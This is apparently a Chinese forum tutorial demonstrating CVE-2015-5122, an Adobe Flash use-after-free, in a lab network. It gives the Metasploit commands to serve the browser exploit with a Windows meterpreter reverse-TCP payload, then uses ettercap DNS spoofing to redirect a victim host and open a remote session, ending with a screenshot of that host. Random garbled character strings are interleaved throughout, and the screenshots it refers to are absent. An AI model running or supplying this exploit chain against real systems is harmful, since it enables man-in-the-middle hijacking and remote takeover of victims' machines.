cve2015-5122漏洞实例演示虚拟机

admin

二、cve2015-5122漏洞实例演示虚拟机 3 o! y+ m9 g* z8 Z S7 @! H6 h9 _( z% q# I

, }+ h; A8 Z m$ @

  关于cve2015-5122这个漏洞，大家可以百度一下，是关于flash的漏洞，是2015年flash漏洞的第二发，今天我们就用这个漏洞来演示，开启kai linux msfconsole命令启动msf如图：

; V1 ^1 {8 k9 I1 h/ x

search cve-2015-5122如图： 7 e( M) E+ Q7 P' g

  - U, k' h+ n; u6 d6 L

- k! o- ~3 {* {8 z! t: I# L) ~

下面我们敲如下命令： " L9 E, a) h/ Q4 W3 Q7 b. e" n

use exploit/multi/browser/adobe_flash_opaque_background_uaf

4 Q @! C8 r7 Q set PAYLOAD windows/meterpreter/reverse_tcp ! Q6 ?. [$ ?3 b s& x4 _; y0 n A

4 ?/ {3 L+ J) J" {$ n

set LHOST 192.168.0.109

set URIPATH /                        /*根目录*/ 5 v8 `, N5 c. Z

+ U- {% r" w5 l8 B8 o! @

) M; G y7 x4 { set SRVHOST 192.168.0.109  //192.168.0.109为kaili ip地址

; \. H" I& S* z set SRVPORT 80            /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用

g7 Y1 L$ x) h- v# I

" l [/ `( W4 }$ H 然后show options如图：

 

一切都设置好了，执行exploit。下面我们进etc/ettercap目录下设置etc.dns如图：
) c7 w1 s; T5 v+ ^ _% \

/ h, L0 i4 N6 ?# r Y- [+ ?+ U/ F

4 ?- W2 Z9 Y" T, q2 k 然后ettercap -G命令打开ettercap，我们要攻击的主机ip是192.168.0。115

) I9 R: q' ~4 r4 f" e8 g

3 l; k' ~/ u1 [6 G7 u. c! g$ [; { Ettercap过程第一篇里已经演示，这里不在详细写了。。。执行完ettercap以后我们观察一下msf ' N6 R& T! o* [- j5 }0 M! u: e

) I2 k7 X. S1 z' E+ W1 V

' U# @6 U$ H) c! r- d6 k+ q   ' j" q8 c' b2 S, Q. M" E9 E, p

; n; T/ u( M5 r% V

成功了，这时候我们断开ettercap，如图： 4 U! ?: O" w+ R4 Y9 t( y9 v

# \, F0 k+ _/ F0 o8 r7 l  

/ m% D) w4 c1 l* _1 y" b7 P. | Screenshot如图：

, o, a% c i e   ' O' q P9 W2 O2 m/ r/ \0 q

! c% z; b- H6 w7 z& b+ ~